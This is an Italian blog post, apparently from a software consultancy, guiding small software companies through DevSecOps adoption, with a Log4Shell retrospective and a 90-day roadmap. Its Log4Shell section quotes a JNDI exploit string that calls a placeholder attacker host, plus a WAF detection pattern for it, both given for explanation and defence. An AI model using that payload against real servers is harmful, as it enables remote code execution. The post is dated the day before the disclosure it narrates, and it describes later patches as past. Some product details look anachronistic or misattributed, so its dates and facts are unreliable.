{"id":1645,"date":"2021-12-08T10:46:00","date_gmt":"2021-12-08T09:46:00","guid":{"rendered":"https:\/\/brentasoft.com\/blog\/devsecops-shift-left-pmi-2021\/"},"modified":"2021-12-08T10:46:00","modified_gmt":"2021-12-08T09:46:00","slug":"devsecops-shift-left-pmi-2021","status":"publish","type":"post","link":"https:\/\/brentasoft.com\/blog\/devsecops-shift-left-pmi-2021\/","title":{"rendered":"DevSecOps 2021: shift left security per PMI software"},"content":{"rendered":"<p>Quando il <strong>9 dicembre 2021<\/strong> Chen Zhaojun di Alibaba Cloud Security pubblica i dettagli di <strong>CVE-2021-44228<\/strong>, il pianeta software cambia in 48 ore. <strong>Log4Shell<\/strong> \u2013 una vulnerabilit\u00e0 RCE remote, non autenticata, in una libreria di logging Java usata letteralmente ovunque (Minecraft, AWS, iCloud, Steam, migliaia di gestionali italiani) \u2013 costringe ogni CTO, dal Fortune 500 alla PMI con 12 sviluppatori, a porsi la stessa domanda: <em>quanti dei pacchetti che usiamo nei nostri prodotti contengono gi\u00e0 una bomba latente?<\/em> La risposta onesta, nel 99% dei casi, \u00e8 che <strong>non lo sappiamo<\/strong>.<\/p>\n<p>Log4Shell non \u00e8 un evento isolato. Arriva dopo dodici mesi che hanno ridefinito la security software: l&#8217;attacco a <strong>SolarWinds<\/strong> (disclosure dicembre 2020, malware Sunburst iniettato nella pipeline di build di Orion), il <strong>ransomware REvil su Kaseya VSA<\/strong> di luglio 2021 (1.500 PMI compromesse via MSP), l&#8217;esfiltrazione di codice sorgente Microsoft, l&#8217;attacco a Codecov, le backdoor in pacchetti npm e PyPI. Il pattern \u00e8 chiaro: gli attaccanti non bucano pi\u00f9 il perimetro, <strong>bucano la supply chain del software<\/strong>. E il software di una PMI italiana, anche piccola, \u00e8 spesso costruito con il 70-90% di codice open source che nessuno ha mai realmente ispezionato.<\/p>\n<p>La risposta che il mercato sta consolidando ha un nome: <strong>DevSecOps<\/strong>. Non un tool, non un team, ma un cambio di paradigma che sposta la security <em>a sinistra<\/em> nella pipeline \u2013 dentro l&#8217;IDE dello sviluppatore, dentro il pull request, dentro la build \u2013 invece di lasciarla in fondo come penetration test prima del rilascio. In questa guida vediamo come una <strong>PMI software house italiana<\/strong> pu\u00f2 adottare DevSecOps senza assumere un team di security a tempo pieno, con quali tool partire, come integrarli nella CI\/CD e quale roadmap a 90 giorni seguire concretamente.<\/p>\n<div style=\"background:#f0f7ff;border-left:4px solid #0066cc;padding:18px 22px;margin:24px 0;border-radius:4px;\">\n<p style=\"margin:0 0 8px 0;\"><strong>TL;DR \u2013 DevSecOps per PMI software in 7 punti<\/strong><\/p>\n<ul style=\"margin:0;padding-left:22px;\">\n<li><strong>Shift Left<\/strong>: ogni vulnerabilit\u00e0 trovata in dev costa <strong>60-100 volte meno<\/strong> della stessa trovata in produzione (dati NIST\/IBM).<\/li>\n<li>I quattro pillar minimi: <strong>SAST<\/strong> (codice statico), <strong>DAST<\/strong> (runtime), <strong>SCA<\/strong> (dipendenze open source), <strong>secrets scanning<\/strong>.<\/li>\n<li><strong>Log4Shell CVE-2021-44228<\/strong> ha mostrato che senza SCA continuo si scopre la vulnerabilit\u00e0 dai giornali, non dalla pipeline.<\/li>\n<li>Stack consigliato PMI: <strong>Snyk Open Source<\/strong> + <strong>Semgrep CE<\/strong> + <strong>Trivy<\/strong> + <strong>GitGuardian<\/strong> + <strong>Dependabot<\/strong>, integrati in GitHub Actions o GitLab CI.<\/li>\n<li>Cultura prima del tooling: <strong>security champion<\/strong> in ogni team, no-blame post-mortem, niente &#8220;muro&#8221; tra dev e security.<\/li>\n<li>Threat modeling con <strong>STRIDE<\/strong> o <strong>OWASP Threat Dragon<\/strong> nelle fasi di design, non dopo.<\/li>\n<li>Roadmap realistica: <strong>90 giorni<\/strong> per mettere in piedi un programma DevSecOps funzionante in una PMI sotto i 50 sviluppatori.<\/li>\n<\/ul>\n<\/div>\n<figure style=\"margin:28px 0;\"><img decoding=\"async\" src=\"https:\/\/brentasoft.com\/blog\/wp-content\/uploads\/2021\/12\/img_w49_52_featured.jpg\" alt=\"Sviluppatore esamina codice con focus su security review in ambiente DevSecOps\" style=\"width:100%;height:auto;border-radius:6px;\" \/><figcaption style=\"font-size:0.9em;color:#666;text-align:center;margin-top:8px;\">Code review con focus security: il primo controllo dovrebbe avvenire in IDE, non in produzione.<\/figcaption><\/figure>\n<h2>Cosa \u00e8 DevSecOps: definizione operativa e paradigma &#8220;shift left&#8221;<\/h2>\n<p>DevSecOps \u00e8 l&#8217;estensione della cultura DevOps al dominio della sicurezza: <strong>integrare i controlli di security in ogni fase del ciclo di vita del software<\/strong>, automatizzarli e renderli responsabilit\u00e0 condivisa di tutto il team, non solo di una funzione separata. Il <em>DevSecOps Manifesto<\/em> di Shannon Lietz codifica il principio in una frase: <em>&#8220;security as code&#8221;<\/em>. Tutto ci\u00f2 che riguarda la sicurezza \u2013 policy, test, controlli di compliance \u2013 deve essere versionato, automatizzato e parte della pipeline come qualunque altro test.<\/p>\n<p>Il concetto operativo cardine \u00e8 <strong>shift left<\/strong>: spostare la verifica della sicurezza il pi\u00f9 a sinistra possibile sull&#8217;asse temporale del SDLC. Storicamente, la security entrava in scena <em>dopo<\/em> il code freeze: il pentester arrivava una settimana prima del go-live, trovava 47 vulnerabilit\u00e0, lo sviluppatore doveva rifare met\u00e0 del modulo gi\u00e0 consegnato. Il <strong>NIST SP 800-218<\/strong> (Secure Software Development Framework, SSDF, pubblicato in versione draft a giugno 2021) e prima ancora il <em>Building Security In Maturity Model<\/em> hanno mostrato un dato consistente: una vulnerabilit\u00e0 individuata in fase di design costa in media <strong>10-15\u20ac<\/strong> a fix, la stessa trovata in produzione costa <strong>1.500-10.000\u20ac<\/strong> tra rework, downtime e reputazione.<\/p>\n<p>&#8220;Shift left&#8221; significa concretamente: <strong>linter di security nell&#8217;IDE<\/strong> (Semgrep, SonarLint), <strong>SAST sui pull request<\/strong>, <strong>SCA che blocca il merge se una dipendenza ha CVE critici<\/strong>, <strong>secrets scanning sui commit<\/strong>, <strong>container scanning prima del push del registry<\/strong>. La security smette di essere un evento e diventa un controllo continuo.<\/p>\n<h2>Differenza con DevOps e ruolo del security team in PMI<\/h2>\n<p>DevOps abbatte il muro tra Dev e Ops: stessa pipeline, stesso linguaggio, infrastructure as code. <strong>DevSecOps abbatte anche il terzo muro<\/strong>, quello tra security e il resto. In una PMI italiana sotto i 50 sviluppatori il &#8220;security team&#8221; spesso non esiste come funzione: la security \u00e8 un&#8217;attivit\u00e0 part-time del CTO o di un senior backend. Questo \u00e8 un problema solo apparentemente: secondo il report <em>State of DevOps<\/em> 2021 di Puppet, le organizzazioni <em>elite<\/em> per maturit\u00e0 DevSecOps non hanno team di security pi\u00f9 grandi, ma <strong>security distribuita<\/strong>.<\/p>\n<p>Il modello pratico per una PMI \u00e8 il <strong>security champion<\/strong>: una persona per squad (anche una in totale, se la squad \u00e8 una sola) che riceve una formazione di 20-40 ore, possiede gli strumenti, fa code review con focus security, \u00e8 il punto di contatto verso il CTO. Non sostituisce una vera security function quando l&#8217;azienda cresce, ma per <strong>il primo anno di adozione DevSecOps \u00e8 il modello che funziona<\/strong> nelle realt\u00e0 che ho visto operare.<\/p>\n<h2>Pillar 1 \u2013 SAST: Static Application Security Testing<\/h2>\n<p>Il <strong>SAST<\/strong> analizza il codice sorgente <em>senza eseguirlo<\/em>, alla ricerca di pattern noti di vulnerabilit\u00e0: SQL injection, XSS, path traversal, deserializzazione insicura, uso di crittografia debole. Lavora a livello di AST (Abstract Syntax Tree), con regole codificate per linguaggio.<\/p>\n<p>I tool dominanti nel mercato sono:<\/p>\n<ul>\n<li><strong>SonarQube<\/strong> (SonarSource): on-premise, multi-lingua (oltre 25), forte su code quality + security. Edizione Community gratuita.<\/li>\n<li><strong>Veracode<\/strong>: SaaS, focus enterprise, binary analysis oltre a source. Costoso ma maturo.<\/li>\n<li><strong>Checkmarx CxSAST<\/strong>: enterprise, supporto a 35+ linguaggi, motore proprietario.<\/li>\n<li><strong>Snyk Code<\/strong>: SAST relativamente nuovo (lanciato 2020 dopo l&#8217;acquisizione di DeepCode), motore semantico veloce, ottimo per pipeline DevOps.<\/li>\n<li><strong>Semgrep<\/strong>: open source, lanciato da r2c, sintassi delle regole simile al pattern matching su AST. <strong>Gratuito<\/strong> in self-hosted, scrivibile in 30 minuti per regole custom. <strong>Scelta consigliata per partire in PMI<\/strong>.<\/li>\n<li><strong>GitLab SAST<\/strong>: bundle nativo di GitLab (Ultimate per CVE feed completo, Free per il motore base), include analyzer per ~20 linguaggi basati su tool OSS (gosec, brakeman, bandit, eslint plugin security).<\/li>\n<\/ul>\n<p>Errore comune: integrare SAST come job che fa fallire la build su <em>qualsiasi<\/em> finding. Risultato: 8.000 issue al primo run, sviluppatori che disabilitano il job dopo due giorni. <strong>Approccio corretto<\/strong>: triage iniziale (chiudere come &#8220;won&#8217;t fix&#8221; il rumore), poi <em>differential scan<\/em> \u2013 la pipeline fallisce solo se il PR <em>introduce nuove<\/em> vulnerabilit\u00e0 di severity High o Critical. Tutti i tool seri supportano questa modalit\u00e0.<\/p>\n<h2>Pillar 2 \u2013 DAST: Dynamic Application Security Testing<\/h2>\n<p>Il <strong>DAST<\/strong> testa l&#8217;applicazione <em>in esecuzione<\/em>, attaccandola dall&#8217;esterno come farebbe un pentester automatizzato: spara payload, osserva risposte, deduce vulnerabilit\u00e0. Trova quello che il SAST non pu\u00f2 vedere (configurazione errata, problemi di autenticazione\/sessione, header HTTP mancanti, vulnerabilit\u00e0 che emergono solo a runtime).<\/p>\n<p>Riferimenti:<\/p>\n<ul>\n<li><strong>OWASP ZAP<\/strong> (Zed Attack Proxy): open source, gratuito, ottimo come <em>passive scan<\/em> + <em>active scan<\/em> in pipeline. Headless, scripting via API, integrazione GitHub Actions ufficiale.<\/li>\n<li><strong>Burp Suite Professional<\/strong> (PortSwigger): standard de-facto dei pentester, ottima edizione community gratuita, Pro per scan automatici.<\/li>\n<li><strong>Acunetix<\/strong> e <strong>Netsparker<\/strong> (PortSwigger \/ Invicti): commerciali, motore AcuSensor \/ Proof-Based Scanning che riduce drasticamente falsi positivi.<\/li>\n<\/ul>\n<p>Per una PMI il setup tipico \u00e8: <strong>OWASP ZAP in baseline scan<\/strong> sull&#8217;ambiente di staging dopo ogni deploy. Cinque minuti, blocca solo su critici, accumula tutto il resto in dashboard per triage settimanale. Costo zero.<\/p>\n<h2>Pillar 3 \u2013 SCA: Software Composition Analysis (il pillar che Log4Shell ha reso obbligatorio)<\/h2>\n<figure style=\"margin:28px 0;\"><img decoding=\"async\" src=\"https:\/\/brentasoft.com\/blog\/wp-content\/uploads\/2021\/12\/img_w49_52_inline1.jpg\" alt=\"Schermata di tool SAST con risultati di vulnerabilit\u00e0 evidenziate nel codice\" style=\"width:100%;height:auto;border-radius:6px;\" \/><figcaption style=\"font-size:0.9em;color:#666;text-align:center;margin-top:8px;\">Output di un analizzatore statico: ogni alert richiede triage, non remediation cieca.<\/figcaption><\/figure>\n<p>L&#8217;<strong>SCA<\/strong> cataloga le dipendenze open source del progetto (package.json, pom.xml, requirements.txt, go.mod, composer.json, Gemfile.lock) e le incrocia con i database di CVE pubblici (NVD, GitHub Advisory Database, vendor advisories proprietari). Risultato: una <strong>Software Bill of Materials<\/strong> (SBOM) navigabile + alert quando una libreria usata sviluppa una CVE.<\/p>\n<p>Tool principali (situazione fine 2021):<\/p>\n<ul>\n<li><strong>Snyk Open Source<\/strong>: leader pratico per integrazione DevOps, SaaS con tier gratuito per progetti pubblici e team piccoli. Fix PR automatici.<\/li>\n<li><strong>WhiteSource<\/strong> (incluso il tool <strong>WhiteSource Renovate<\/strong>, ora &#8220;Renovate Bot&#8221; lato OSS): enterprise, ottimo per policy granulari su licenze + vulnerabilit\u00e0.<\/li>\n<li><strong>Black Duck<\/strong> (Synopsys): storico, forte su analisi licenze e M&#038;A audit.<\/li>\n<li><strong>GitHub Dependabot<\/strong>: nativo GitHub (acquisito 2019), gratis, alert + PR di update automatici. <strong>Imprescindibile su GitHub<\/strong>.<\/li>\n<li><strong>Renovate Bot<\/strong>: open source, pi\u00f9 configurabile di Dependabot, gestisce monorepo complessi meglio.<\/li>\n<li><strong>OWASP Dependency-Check<\/strong>: tool CLI gratuito, motore basato su NVD, integrabile in qualunque CI.<\/li>\n<\/ul>\n<p>La domanda da farsi dopo Log4Shell: <em>se domani esce CVE-2022-XXXXX su una libreria che usiamo, quanto tempo passa prima che lo sappiamo?<\/em> Senza SCA continuo la risposta \u00e8 &#8220;quando lo leggiamo sui giornali&#8221;. Con <strong>Dependabot + Snyk<\/strong> attivi la risposta \u00e8 &#8220;entro 4-24 ore&#8221;.<\/p>\n<h2>Pillar 4 \u2013 Container security<\/h2>\n<figure style=\"margin:28px 0;\"><img decoding=\"async\" src=\"https:\/\/brentasoft.com\/blog\/wp-content\/uploads\/2021\/12\/img_w49_52_inline2.jpg\" alt=\"Concept di sicurezza dei container Docker e Kubernetes in ambiente PMI\" style=\"width:100%;height:auto;border-radius:6px;\" \/><figcaption style=\"font-size:0.9em;color:#666;text-align:center;margin-top:8px;\">I container ereditano vulnerabilit\u00e0 dall&#8217;immagine base: scannerizzare in pipeline \u00e8 obbligatorio.<\/figcaption><\/figure>\n<p>Se la build produce immagini Docker, la security delle dipendenze va estesa al <strong>livello immagine<\/strong>: pacchetti di OS dell&#8217;immagine base (alpine, debian-slim, ubi), librerie linguaggio installate nei layer, file di configurazione, secrets accidentalmente incollati nel layer.<\/p>\n<p>Tool maturi nel 2021:<\/p>\n<ul>\n<li><strong>Trivy<\/strong> (Aqua Security): open source, gratuito, velocissimo, scansiona immagini OCI + filesystem + repository git. <strong>Default consigliato<\/strong> per PMI: una riga in pipeline.<\/li>\n<li><strong>Anchore Engine<\/strong>: open source, motore di policy, SBOM in formato SPDX\/CycloneDX.<\/li>\n<li><strong>Clair<\/strong> (originariamente CoreOS, ora Red Hat): motore di scanning usato anche da Quay.<\/li>\n<li><strong>Aqua Security<\/strong>: piattaforma enterprise (Trivy \u00e8 il loro tool OSS), copre build\/registry\/runtime.<\/li>\n<li><strong>Sysdig Secure<\/strong>: forte sul runtime monitoring (basato su Falco, CNCF) \u2013 rileva comportamenti anomali nei container in esecuzione.<\/li>\n<li><strong>Falco<\/strong>: progetto CNCF (graduated 2018), runtime threat detection per Kubernetes con regole basate su syscalls.<\/li>\n<\/ul>\n<p>Pratica minima: <code>trivy image my-app:latest --severity HIGH,CRITICAL --exit-code 1<\/code> in pipeline. La build fallisce se l&#8217;immagine ha CVE critici non ancora patchabili.<\/p>\n<h2>Pillar 5 \u2013 IaC security<\/h2>\n<p>Se l&#8217;infrastruttura \u00e8 codice (Terraform, CloudFormation, Pulumi, Kubernetes manifest, Helm chart, Dockerfile), <strong>anche l&#8217;infrastruttura ha vulnerabilit\u00e0 statiche<\/strong>: bucket S3 pubblico, security group che apre la porta 22 a 0.0.0.0\/0, container Kubernetes con <code>privileged: true<\/code>, secrets hardcoded in ConfigMap. Sono problemi che si rilevano leggendo il codice IaC <em>prima<\/em> di applicarlo.<\/p>\n<p>Tool consolidati:<\/p>\n<ul>\n<li><strong>Checkov<\/strong> (Bridgecrew, <strong>acquisita da Palo Alto Networks a marzo 2021<\/strong>): open source, Python, supporta Terraform\/CloudFormation\/Kubernetes\/ARM\/Serverless. <strong>Standard de-facto IaC scanning<\/strong>.<\/li>\n<li><strong>tfsec<\/strong>: open source, scritto in Go, specifico per Terraform. Pi\u00f9 leggero di Checkov ma meno copertura cross-cloud. <strong>Aqua Security ha acquisito il maintainer nel 2021<\/strong>.<\/li>\n<li><strong>Terrascan<\/strong>: open source di Accurics, motore basato su OPA Rego policies.<\/li>\n<li><strong>KICS<\/strong> (Keeping Infrastructure as Code Secure): open source di Checkmarx, supporta 12+ tecnologie IaC.<\/li>\n<\/ul>\n<p>Integrazione tipica: <strong>pre-commit hook<\/strong> con Checkov per i file <code>.tf<\/code> modificati + job in CI sull&#8217;intera codebase. Trenta secondi, zero costo.<\/p>\n<h2>Pillar 6 \u2013 Secrets scanning<\/h2>\n<p>Il 60% delle PMI che ho auditato negli ultimi 18 mesi ha almeno una <strong>API key, token o password committata in chiaro<\/strong> nello storico Git. Spesso ancora valida. Il secrets scanning previene esattamente questo: <em>pre-commit<\/em> blocca il commit; <em>server-side<\/em> scansiona lo storico e alerta su detection.<\/p>\n<p>Tool:<\/p>\n<ul>\n<li><strong>GitGuardian<\/strong>: SaaS, tier gratuito generoso (\u226425 utenti), oltre 350 detector per tipi di secret, monitora repo pubblici dove gli sviluppatori potrebbero leakare per errore.<\/li>\n<li><strong>TruffleHog<\/strong>: open source, CLI, scansiona storico Git con detector entropy-based + regex specifiche.<\/li>\n<li><strong>GitHub Secret Scanning<\/strong>: GA da 2020 per partner program (AWS, Stripe, Google, ecc.), <strong>esteso ai repo privati nel 2021<\/strong> (GitHub Advanced Security).<\/li>\n<li><strong>Bridgecrew Secrets \/ Checkov<\/strong>: Checkov include un detector secrets nativo.<\/li>\n<li><strong>gitleaks<\/strong>: open source, simile a TruffleHog, motore di pattern matching configurabile.<\/li>\n<\/ul>\n<p>Configurazione minima per una PMI: <strong>GitGuardian gratuito<\/strong> sull&#8217;organizzazione GitHub\/GitLab + <strong>pre-commit hook con gitleaks<\/strong> obbligatorio in tutti i repository. Costo: zero. Riduzione di rischio: enorme.<\/p>\n<h2>CI\/CD integration: dove mettere ogni controllo<\/h2>\n<p>Il valore di DevSecOps emerge solo se i controlli sono <strong>integrati nella pipeline<\/strong>, non in dashboard parallele che nessuno guarda. Schema operativo che funziona su <strong>GitHub Actions<\/strong>, <strong>GitLab CI<\/strong>, <strong>Jenkins<\/strong>, <strong>CircleCI<\/strong>:<\/p>\n<ol>\n<li><strong>Pre-commit hook locale<\/strong>: gitleaks (secrets) + Semgrep &#8211;config=auto su file modificati. Blocca il commit se trova issue. Tempo: 2-5 secondi.<\/li>\n<li><strong>Pull request<\/strong>: SAST differenziale (Semgrep o Snyk Code) + SCA differenziale (Snyk Open Source o Dependabot) + IaC scan (Checkov) sui file modificati. Reporting come PR comment + status check. Blocca merge solo su <strong>HIGH\/CRITICAL nuovi<\/strong>.<\/li>\n<li><strong>Main branch \/ pre-release<\/strong>: SAST full scan + SCA full scan + container scan con Trivy. Risultati in dashboard SonarQube\/Snyk. Non blocca pipeline ma genera ticket Jira\/GitLab Issue per triage.<\/li>\n<li><strong>Deploy to staging<\/strong>: DAST baseline scan con OWASP ZAP, max 5 min. Tag CRITICAL \u2192 rollback automatico.<\/li>\n<li><strong>Production runtime<\/strong>: Falco\/Sysdig per behavioral detection + dashboard alerts.<\/li>\n<\/ol>\n<h2>Threat modeling: STRIDE, PASTA, OWASP Threat Dragon<\/h2>\n<p>Strumenti automatici trovano vulnerabilit\u00e0 note. Il <strong>threat modeling<\/strong> trova vulnerabilit\u00e0 di design \u2013 quelle che nessuno scanner trover\u00e0 mai perch\u00e9 non sono nel codice, sono nell&#8217;architettura. Si fa <em>prima<\/em> di scrivere codice, sul whiteboard.<\/p>\n<p>Metodologie consolidate:<\/p>\n<ul>\n<li><strong>STRIDE<\/strong> (Microsoft, anni &#8217;90 ma ancora il framework dominante): per ogni componente del sistema si analizzano sei categorie di minaccia \u2013 Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege.<\/li>\n<li><strong>PASTA<\/strong> (Process for Attack Simulation and Threat Analysis, formulato da Tony UcedaV\u00e9lez): pi\u00f9 orientato al business, sette stage che partono dagli obiettivi business e arrivano alla simulazione di attacchi.<\/li>\n<li><strong>OWASP Threat Dragon<\/strong>: tool open source di OWASP per disegnare diagrammi di flusso del dato e annotare le minacce. <strong>Punto di partenza pragmatico<\/strong> per una PMI.<\/li>\n<\/ul>\n<p>In pratica: <strong>una sessione di threat modeling di 90 minuti<\/strong> all&#8217;inizio di ogni epica\/macro-feature. Solo il CTO + tech lead + security champion. Output: lista di minacce prioritizzate + decisioni di design che spesso evitano vulnerabilit\u00e0 che sarebbero costate molto tempo a fixare dopo.<\/p>\n<h2>Log4Shell dicembre 2021: lessons learned per PMI<\/h2>\n<p><strong>CVE-2021-44228<\/strong>, disclosure 9 dicembre 2021, CVSS 10.0. Una stringa nei log come <code>${jndi:ldap:\/\/attacker.com\/a}<\/code> esegue codice arbitrario remoto sul server che fa il logging. Log4j 2 \u00e8 in praticamente ogni applicazione Java enterprise. La patch ufficiale Apache (2.15.0) si scopre insufficiente nel weekend successivo (<strong>CVE-2021-45046<\/strong>), poi serve la 2.16.0, poi la 2.17.0 per un&#8217;altra issue (<strong>CVE-2021-45105<\/strong>), poi la <strong>2.17.1<\/strong>.<\/p>\n<p>Cosa hanno fatto le PMI ben preparate nelle prime 72 ore (osservazione diretta da clienti e community):<\/p>\n<ul>\n<li><strong>SBOM aggiornato<\/strong>: in 15 minuti sanno esattamente quali servizi usano Log4j 2.x.<\/li>\n<li><strong>Pipeline SCA<\/strong>: alert automatico arriva il 10 dicembre mattina, prima dei TG.<\/li>\n<li><strong>WAF rule<\/strong> di emergenza che droppa pattern <code>${jndi:<\/code> nelle richieste, mentre si applica la patch.<\/li>\n<li><strong>Patch coordinata<\/strong>: aggiornamento Log4j 2.16 entro 24 ore, 2.17.1 entro la settimana, tramite branch hotfix + deploy automatico.<\/li>\n<li><strong>Post-mortem strutturato<\/strong>: come hanno scoperto? Quante istanze esposte? Indicatori di compromissione nei log?<\/li>\n<\/ul>\n<p>Cosa hanno fatto le PMI senza DevSecOps: panico per due settimane, ricerca manuale dipendenza per dipendenza, scoperta a posteriori che un microservizio dimenticato era esposto a internet per cinque giorni. Differenza non di skill \u2013 di <strong>processo<\/strong>.<\/p>\n<h2>Cultura DevSecOps: security champions, no-blame, training<\/h2>\n<figure style=\"margin:28px 0;\"><img decoding=\"async\" src=\"https:\/\/brentasoft.com\/blog\/wp-content\/uploads\/2021\/12\/img_w49_52_inline3.jpg\" alt=\"Team di sviluppo in sessione di retrospettiva su tematiche di security\" style=\"width:100%;height:auto;border-radius:6px;\" \/><figcaption style=\"font-size:0.9em;color:#666;text-align:center;margin-top:8px;\">La cultura DevSecOps si costruisce nelle retrospettive: ogni incidente \u00e8 un&#8217;opportunit\u00e0 di apprendimento.<\/figcaption><\/figure>\n<p>Il tooling \u00e8 il 30%. Il restante 70% \u00e8 cultura. Tre principi non negoziabili:<\/p>\n<p><strong>Security champion per squad<\/strong>: una persona per team con interesse genuino per la security, formata su OWASP Top 10, threat modeling, tool del proprio stack. Punto di contatto, non collo di bottiglia \u2013 fa <em>code review focused security<\/em> sui PR critici, propaga le pratiche, alza la mano quando serve esperto esterno.<\/p>\n<p><strong>No-blame culture<\/strong>: se uno sviluppatore committa una password e GitGuardian la prende, il post-mortem domanda &#8220;come miglioriamo il processo affinch\u00e9 non possa pi\u00f9 succedere?&#8221;, non &#8220;chi \u00e8 stato?&#8221;. Senza questo, gli sviluppatori nascondono i problemi invece di esporli.<\/p>\n<p><strong>Training continuo<\/strong>: 4-8 ore al trimestre per ogni sviluppatore, su OWASP Top 10 (versione <strong>2021<\/strong>, appena pubblicata), CWE\/SANS Top 25, secure coding nel linguaggio di riferimento. Piattaforme come Snyk Learn, Secure Code Warrior, PortSwigger Web Security Academy (gratuita) coprono il 90% del fabbisogno.<\/p>\n<h2>Errori comuni: tool fatigue, alert fatigue, mancanza di triage<\/h2>\n<p>Tre antipattern che vedo costantemente nelle PMI che <em>tentano<\/em> DevSecOps senza piano:<\/p>\n<p><strong>Tool fatigue<\/strong>: il CTO compra 6 tool diversi (uno per pillar) perch\u00e9 &#8220;li hanno tutti&#8221;. Risultato: 6 dashboard, 6 set di credenziali, integrazione mai completata su nessuna, sviluppatori che ignorano tutto. Soluzione: <strong>partire con 2-3 tool<\/strong>, far funzionare quelli a regime, poi espandere.<\/p>\n<p><strong>Alert fatigue<\/strong>: la pipeline genera 800 alert\/settimana, nessuno li legge, nessuno chiude i ticket, dopo un mese il segnale \u00e8 perso nel rumore. Soluzione: <strong>severity gating<\/strong> rigoroso (solo HIGH\/CRITICAL inviano notifica), <strong>differential scan<\/strong> sui PR, <strong>SLA chiari<\/strong> per triage (es. critici < 24h, high < 7 giorni).<\/p>\n<p><strong>Mancanza di triage<\/strong>: nessuno decide cosa \u00e8 falso positivo, cosa \u00e8 &#8220;won&#8217;t fix&#8221;, cosa va aperto come ticket. Risultato: dashboard piene di issue stale di sei mesi fa. Soluzione: <strong>30 minuti settimanali di triage<\/strong> con security champion + tech lead, decisione esplicita per ogni nuovo finding.<\/p>\n<h2>Caso reale: PMI SaaS B2B italiana, da 28 CVE critici a 3 in 4 mesi<\/h2>\n<p>Cliente reale (nome omesso), 18 sviluppatori, prodotto SaaS B2B in Java\/Spring Boot + frontend React, deploy su Kubernetes (EKS). Stato di partenza a settembre 2021: nessuno strumento DevSecOps attivo, dipendenze open source non monitorate, immagini Docker built su <code>openjdk:11<\/code> &#8220;official&#8221; mai aggiornate, nessuno scan in pipeline.<\/p>\n<p><strong>Audit iniziale<\/strong>: 28 CVE critici (CVSS \u2265 9.0) e 142 high distribuiti tra dipendenze Maven, immagini base e codice IaC Terraform. Tempo medio tra disclosure CVE upstream e patch applicata: <strong>indefinito<\/strong> \u2013 nessuno controllava.<\/p>\n<p><strong>Intervento (4 mesi)<\/strong>:<\/p>\n<ol>\n<li>Mese 1: introduzione <strong>Snyk Open Source<\/strong> in GitLab CI, baseline scan, triage. Configurazione di <strong>Trivy<\/strong> nello step di build immagine Docker, base image migrata da <code>openjdk:11<\/code> a <code>eclipse-temurin:11-jre-jammy<\/code> (manutenuta attivamente). Adozione di <strong>Renovate Bot<\/strong> per PR settimanali automatiche di aggiornamento dipendenze.<\/li>\n<li>Mese 2: <strong>Semgrep CE<\/strong> integrato come PR check con set di regole curato (security audit + java). Nomina del security champion (senior backend) + formazione 16 ore. <strong>GitGuardian<\/strong> attivato a livello org.<\/li>\n<li>Mese 3: <strong>Checkov<\/strong> sui moduli Terraform (~40 risorse AWS), correzione di 11 misconfigurazioni HIGH (security group permissivi, S3 senza encryption-at-rest enforce). Threat modeling session su feature in roadmap.<\/li>\n<li>Mese 4: <strong>OWASP ZAP baseline<\/strong> in staging post-deploy. Adozione dashboard unificata (Snyk per SCA + Container, SonarQube per quality + SAST). Definizione SLA: critici < 48h, high < 14gg.<\/li>\n<\/ol>\n<p><strong>Risultato a fine 4 mesi<\/strong>: 3 CVE critici residui (tutti in attesa di patch upstream, mitigati a livello WAF\/network), 24 high residui, MTTR (mean time to remediate) per critici sceso da indefinito a 36 ore, pipeline failure rate per security check sotto il 4%. <strong>Costo licenze tool<\/strong>: ~\u20ac280\/mese (Snyk Team tier + SonarQube Developer Edition self-hosted). Il resto \u00e8 tutto OSS.<\/p>\n<h2>Roadmap di adozione DevSecOps \u2013 90 giorni per una PMI software<\/h2>\n<p>La sequenza che ha funzionato in tutti i deploy che ho visto andare a regime. Adattate i tempi alla dimensione del team, ma <strong>non saltate fasi<\/strong>:<\/p>\n<div itemscope itemtype=\"https:\/\/schema.org\/HowTo\" style=\"background:#fafafa;border:1px solid #e0e0e0;padding:20px;border-radius:6px;margin:24px 0;\">\n<p style=\"margin:0 0 12px 0;\"><strong itemprop=\"name\">Roadmap DevSecOps 90 giorni per PMI software house<\/strong><\/p>\n<p><meta itemprop=\"totalTime\" content=\"P90D\" \/><\/p>\n<div itemprop=\"step\" itemscope itemtype=\"https:\/\/schema.org\/HowToStep\">\n<p><strong itemprop=\"name\">Giorni 1-15 \u2013 Discovery e baseline<\/strong><\/p>\n<p itemprop=\"text\">Audit dell&#8217;attuale stato: inventario applicazioni, linguaggi, dipendenze. Generazione SBOM iniziale (anche manuale: <code>npm ls<\/code>, <code>mvn dependency:tree<\/code>). Lista CVE critici note. Identificazione del security champion. Sessione di formazione iniziale (1 giornata).<\/p>\n<\/div>\n<div itemprop=\"step\" itemscope itemtype=\"https:\/\/schema.org\/HowToStep\">\n<p><strong itemprop=\"name\">Giorni 16-30 \u2013 SCA + secrets scanning (i due quick win)<\/strong><\/p>\n<p itemprop=\"text\">Attivazione di Dependabot (se GitHub) o Renovate Bot + Snyk Open Source su tutti i repository. Attivazione GitGuardian a livello organizzazione. Setup pre-commit hook con gitleaks. Triage iniziale del backlog di vulnerabilit\u00e0: classificazione critici\/high\/medium, fix critici nell&#8217;iterazione corrente.<\/p>\n<\/div>\n<div itemprop=\"step\" itemscope itemtype=\"https:\/\/schema.org\/HowToStep\">\n<p><strong itemprop=\"name\">Giorni 31-60 \u2013 SAST + container security<\/strong><\/p>\n<p itemprop=\"text\">Integrazione Semgrep (o Snyk Code) nei PR check con set di regole curato. Integrazione Trivy nello step di build delle immagini Docker. Definizione policy &#8220;fail on HIGH\/CRITICAL new&#8221;. Migrazione immagini base verso varianti maintained (eclipse-temurin, distroless, alpine maintenute). Threat modeling pilot su una feature.<\/p>\n<\/div>\n<div itemprop=\"step\" itemscope itemtype=\"https:\/\/schema.org\/HowToStep\">\n<p><strong itemprop=\"name\">Giorni 61-80 \u2013 IaC scanning + DAST baseline<\/strong><\/p>\n<p itemprop=\"text\">Integrazione Checkov sui file Terraform\/Kubernetes (anche come pre-commit). Correzione delle misconfigurazioni HIGH. Setup OWASP ZAP baseline scan post-deploy in staging. Definizione SLA formali per remediation per severity.<\/p>\n<\/div>\n<div itemprop=\"step\" itemscope itemtype=\"https:\/\/schema.org\/HowToStep\">\n<p><strong itemprop=\"name\">Giorni 81-90 \u2013 Consolidamento, dashboard, processo<\/strong><\/p>\n<p itemprop=\"text\">Dashboard unificata (Snyk o SonarQube come hub). Settimanale triage 30 minuti security champion + tech lead. Documentazione runbook per CVE 